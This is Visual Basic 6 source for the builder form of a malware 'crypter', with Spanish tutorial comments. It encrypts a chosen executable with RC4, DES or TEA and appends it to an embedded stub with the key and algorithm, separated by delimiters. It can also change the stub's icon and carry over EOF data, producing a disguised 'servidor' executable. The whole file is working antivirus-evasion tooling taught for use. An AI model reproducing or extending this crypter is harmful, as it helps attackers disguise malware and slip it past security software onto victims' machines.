' Primero que nada vamos a agregar varios modulos que vamos a necesitar y delcarar un par de variables.
Dim md5 As New clsMD5, des As New clsDES, rc4 As New clsRC4, tea As New clsTEA
Private Sub chkActivar_Click()
' El textbox de la ruta del icono asi como tambien el boton de examinar para seleccionar el icno lo habia puesto con
' la propiedad enabled en false por lo tanto no se puede utilizar. lo que haremos es que si se activa el icon change
' se permita el uso de dichos controles
If chkActivar.Value = 1 Then ' si el valor es 1 esta marcada, si es 0 no lo esta
cmdIcono.Enabled = True
txtIcono.Enabled = True
Else
cmdIcono.Enabled = False
txtIcono.Enabled = False
End If
End Sub
Private Sub cmdEncriptar_Click()
' Bueno ahora la ultima parte que es cuando presionan sobre el boton de encriptar.
' primero que nada mostramos una ventana para que la persona decida donde quiere guardar el archivo encriptado
' esto lo hacemos igual que en los 2 casos anteriores.
With CD
.DialogTitle = "Guardar servidor en..."
.Filter = "Archivo Ejecutable (.exe)|*.exe"
.ShowSave ' A diferencia de los otros dos casos mostramos una ventana de guardado, no apertura
End With
If CD.Filename <> vbNullString Then
' Si no es una ruta nula proseguimos con todo el encriptado.
' Primero crearemos un par de variables que vamos a utilizar
Dim encriptacion As String, eof As String, stub() As Byte, stub2 As String, archivo As String
' Ahora comprobaremos si se marco la casilla de EOF y de ser asi leeremos la informacion de EOF del archivo a encriptar
If chkEOF.Value = 1 Then
eof = ReadEOFData(txtRuta.Text)
' Leemos la informacion y la guardamos en la variable eof
End If
' Ahora vamos a extraer el stub que esta agregado como recurso (luego lo haremos y agregaremos) y lo pondremos
' en app.path con el nombre stub.exe
stub = LoadResData(101, "STUB")
Open App.Path & "\stub.exe" For Binary As #1
Put #1, , stub
Close #1
' Una ves que ya hicimos esto, vamos a proceder a cambiar el icono.
' Se preguntaran para que extraemos el stub si ya lo tenemos como recurso. La respuesta es facil, por el changeicon
' si le cambiamos el icono al archivo final con este modulo se rompera, asi que debemos cambiarselo al stub
' antes de escribirlo. para eso debemos extraerlo.
If chkActivar.Value = 1 Then ' si el changeicon esta activado
Call ChangeIcon(App.Path & "\stub.exe", txtIcono.Text) ' usamos la funcion changeicon con la ruta del stub y del icono a ponerle
End If
' Muy bien ahora proseguimos con la encriptacion del archivo. Para ello primero vamos a abrir el archivo a
' encriptar en binario, guardarlo en una variable y posteriormente encriptarlo
Open txtRuta.Text For Binary As #1
archivo = Space(LOF(1))
Get #1, , archivo
Close #1
' Aqui ya lo tenemos en la variable archivo
' Ahora vamos a comprobar que tipo de encriptacion se eligio. Vamos a guardar el tipo de encriptacion en la variable
' encriptacion para luego pasarla al stub y saber con que desencriptar y vamos a encriptar tambien el archivo
If optRC4.Value = True Then ' si se selecciono el option de rc4
encriptacion = "RC4" ' Guardamos la palabra RC4 en la variable encriptacion
archivo = rc4.EncryptString(archivo, txtKey.Text) ' Encriptamos el archivo
End If
If optDes.Value = True Then ' si se selecciono el option de DES
encriptacion = "DES"
archivo = des.EncryptString(archivo, txtKey.Text)
' Igual que anteriormente pero con DES
End If
If optTEA.Value = True Then ' si se selecciono el option de TEA
encriptacion = "TEA"
archivo = tea.EncryptString(archivo, txtKey.Text)
End If
' Bueno ya tenemos todo listo.
' Ahora debemos abrir el stub en binary y guardarlo en la variable stub2. Y finalmente crear el nuevo archivo
Open App.Path & "\stub.exe" For Binary As #1
stub2 = Space(LOF(1))
Get #1, , stub2
Close #1
' Ya tomamos el stub. Ahora creamos el archivo nuevo.
Open CD.Filename For Binary As #1
Put #1, , stub2 ' guardamos el stub
Put #1, , "[TutorialByXa0s]" ' delimitador
Put #1, , txtKey.Text ' guardamos la key para saber con que desencriptar
Put #1, , "[TutorialByXa0s]" ' delimitador
Put #1, , encriptacion ' guardamos el tipo de encriptacion para saber que algoritmo se uso para encriptar y usar el mismo para desencriptar
Put #1, , "[TutorialByXa0s]" ' delimitador
Put #1, , archivo ' finalmente, el archivo encriptado
Close #1 ' cerramos el archivo
' Ahora que vi el modulo del eof recorde que al principio checamos si la opcion estaba marcada y de estarlo
' tomamos la informacion del eof del archivo a encriptar y la guardamos en la variable eof.
' Ahora que ya creamos el nuevo archivo debemos volver a comprobar si esta marcada y de estarlo escribimos
' la informacion que tomamos previamente
If chkEOF.Value = 1 Then
Call WriteEOFData(CD.Filename, eof) ' con la funcion WriteEofData y la ruta del nuevo archivo y variable EOF en donde
' se encuentra la informacion que tomamos al principio
End If
Kill (App.Path & "\stub.exe") ' eliminamos el stub. ya no lo necesitamos
MsgBox "Servidor creado correctamente!", vbInformation, Me.Caption ' mostramos un mensaje de confirmacion
End If ' fin de la condicion
End Sub
Private Sub cmdExaminar_Click()
' Al presionar sobre el boton de examinar para elegir un archivo a encriptar...
' Vamos a mostrar una ventana para que el usuario seleccione el archivo
With CD
.DialogTitle = "Seleccionar Archivo..." ' Titulo de la ventana
.Filter = "Todos los archivos|*.*" ' Filtro.. vamos a permitir todas las extensiones
.ShowOpen ' Mostramos una ventana de apertura
End With
If CD.Filename <> vbNullString Then ' si la ruta no es nula entonces
txtRuta.Text = CD.Filename ' escribimos en el txtruta la ruta del archivo a encriptar
End If
End Sub
Private Sub cmdGenerar_Click()
' Al hacer click en el boton de generar una key, debemos generar una aleatoria
' Hay muchas formas de hacer esto, yo la hago de una que no he visto en otros crypters pero da igual, solo es
' una key. En mi caso lo hago generando cadenas aleatorias de MD5, para ello fue que agregamos el modulo de MD5.
Randomize
txtKey.Text = md5.DigestStrToHexStr(Rnd)
' Esto lo que hace es generar un numero aleatorio, lo encriptaremos en md5 y esa es la cadena generada
End Sub
Private Sub cmdIcono_Click()
' Ahora debemos abrir una ventana igual que lo hicimos antes cuando se eligio un archivo para encriptar, con la
' diferencia que en este caso sera para que se elija un icono en caso que quiera cambiarse.
With CD
.DialogTitle = "Seleccione Icono..."
.Filter = "Icono (.ico)|*.ico" ' Ponemos un filtro que solo permita archivos de extension .ico
.ShowOpen
End With
If CD.Filename <> vbNullString Then ' si no es una ruta nula
txtIcono.Text = CD.Filename ' escribimos en el textbox de la ruta del icono, la ruta del que se selecciono
End If
End Sub